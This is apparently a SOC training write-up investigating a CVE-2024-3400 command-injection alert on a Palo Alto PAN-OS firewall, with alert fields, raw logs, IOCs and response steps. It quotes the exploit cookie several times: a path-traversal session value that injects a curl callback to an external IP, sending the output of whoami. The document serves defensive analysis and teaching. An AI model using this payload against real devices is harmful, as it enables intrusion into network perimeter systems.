

SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)

03 February 2026 14:00

SEVERITY	DATE	RULE NAME	EVENTID	TYPE	ACTION
Critical	Apr, 18, 2024, 03:09 AM	★ SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)	249	Web Attack	>> ✓
★ A critical command injection vulnerability has been identified in Palo Alto Networks PAN-OS software					
EventID :		249			
Event Time :		Apr, 18, 2024, 03:09 AM			
Rule :		SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)			
Level :		Security Analyst			
Hostname :		PA-Firewall-01			
Destination IP Address :		172.16.17.139			
Source IP Address :		144.172.79.92			
HTTP Request Method :		POST			
Requested URL :		172.16.17.139/global-protect/login.esp			
cookie :		SESSID=.././../opt/panlogs/tmp/device_telemetry/hour/aaa`curl\${IFS}144.172.79.92:4444?user=\$(whoami)			
Alert Trigger Reason :		Characteristics exploit pattern Detected on Cookie and Request, indicative exploitation of the CVE-2024-3400.			
Device Action :		Allowed			

Incident Overview

- **Alert Type:** Network/Perimeter Exploitation
- **Severity:** Critical
- **Environment:** Palo Alto PAN-OS Firewall

Initial Alert Details

A crafted HTTP POST request targeting the Global Protect Login page of Palo Alto firewall. The request contains malicious cookie with OS-level command injections which is similar to exploitation of CVE-2024-3400.

Analyst Thought Process (Before Investigation)

- The asset involved is a firewall(N/W Perimeter Device) and a known vulnerability which confirms malicious intent.
- Since it is a Perimeter device, the blast radius impact will be severe.
- Immediate priority is to escalate this alert, validating the successive command injection requests and blocking the Ip involved.

Investigation Findings

- External Threat actor attempted the command execution with cookie.
- Command is parsed and executed on the firewall but the callback/C2 communication to Threat actor is failed due to DNS resolution error.

Show Filter		RAW LOG			144.172.79.92	
DATE			SOURCE IP	DEST. ADDRESS	DEST. PORT	RAW
Apr, 18, 2024, 03:10	2024-04-18 15:09:42,628:	dt_send INFO TX_DIR: send file dir: /opt/panlogs/tmp/device_telemetry/day/, n_files: 1	172.16.17.139	0		🔍
Apr, 18, 2024, 03:10	2024-04-18 15:09:42,628 :	dt_send INFO sorted file list: tmp_dir: /opt/panlogs/tmp/device_telemetry/day/*	172.16.17.139	0		🔍
Apr, 18, 2024, 03:0	2024-04-18 15:09:42,629:	dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/day/aaa` curl\${IFS}144.172.79.92:4444?user=\$(whoami)	172.16.17.139	20077		🔍
Apr, 18, 2024, 03:10	2024-04-18 15:09:42,629 :	dt_send INFO TX_FILE: send_fname: /opt/panlogs/tmp/device_telemetry/day/aaa` curl\${IFS}144.172.79.92:4444?user=\$(whoami)	172.16.17.139	0		🔍
	2024-04-18 15:09:42,630:	dt_send INFO TX_FILE: dest server ip: 144.172.79.92				
	2024-04-18 15:09:42,630 :	dt_send INFO TX_FILE: send_file_cmd: /usr/local/bin/dt_curl -i 172.16.17.139 -f /opt/panlogs/tmp/device_telemetry/day/aaa` curl\${IFS}144.172.79.92:4444?user=\$(whoami)				
	2024-04-18 15:09:43,152:	dt_send INFO TX_FILE: curl cmd status: 24, 24; err msg: 'DNS lookup failed'				

IOC Artifacts

Type of IOC	Context	IOC Value	Threat Intel
IP Address	Threat Actor/Callback/C2 IP	144.172.79.92	Flagged as Malicious AS 14956 ROUTERHOSTING LLC(ISP) cloudzy.com United States
URL	Global Protect Login Page	172.16.17.139/global-protect/login.esp	
Command	Command Injection	curl\${IFS} 144.172.79.92:4444?user=\$(whoami)	
File		Update.py	Flagged as malicious Related to CVE-2024-3400
File Hash		3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac	Flagged as malicious. Related to CVE-2024-3400
CVE Exploited		CVE-2024-3400	

Attack Chain Summary

- External attacker
- Crafted HTTP POST (cookie injection)
 - PAN-OS telemetry processing
 - Shell command execution (curl)
 - Outbound callback attempt
 - Callback failed (DNS)

SOC Actions & Recommendations

- Immediately Escalate to L2
- Apply patches/hotfixes to firewall
- Block the involved IOCs like IP address
- Conduct the vulnerability assessments periodically to fix vulnerabilities using patches

Key Learnings

- Even if callback failed, the indication of shell metacharacters executed in logs indicates exploitation succeeded.
- Perimeter Alerts require immediate response/Escalation even before validation of successful attempt.